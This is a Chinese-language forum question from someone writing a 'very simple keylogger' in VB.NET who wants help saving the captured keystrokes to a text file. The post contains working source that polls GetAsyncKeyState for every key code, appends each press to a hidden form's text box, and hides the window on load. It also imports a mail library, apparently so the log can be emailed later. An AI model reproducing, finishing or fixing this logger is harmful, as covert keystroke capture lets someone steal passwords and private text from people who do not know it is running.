如何将程序的输出保存到文本文档？

Question

我正在使用visual studio 2013.现在我正在制作一个非常简单的键盘记录器来保存用户按下的键。它们显示在“richtextbox”中。我想使用visual studio 2013将richtextbox中显示的内容保存到文本文档中。      这是我的键盘记录的代码。

Imports System.Net.Mail

Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Int32) As Int16

Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
    For i = 1 To 255
        result = 0
        result = GetAsyncKeyState(i)
        If result = -32767 Then
            RichTextBox1.Text = RichTextBox1.Text + Chr(i)
        End If
    Next i
End Sub


Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    Me.Hide()
    Me.Visible = False

End Sub
End Class

我尝试使用此代码保存。

 Dim fileName As String = IO.Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "output.txt")

    Dim data As New List(Of String)

    If IO.File.Exists(fileName) Then
        data = IO.File.ReadAllLines(fileName).ToList
        data.AddRange(RichTextBox1.Lines)
    Else
        data = RichTextBox1.Lines.ToList
    End If
    IO.File.WriteAllLines(fileName, data.ToArray)

但是当我打开文本文档“output.txt”时，虽然我按下的所有键都在richtextbox中，但是内部没有任何内容可以看到。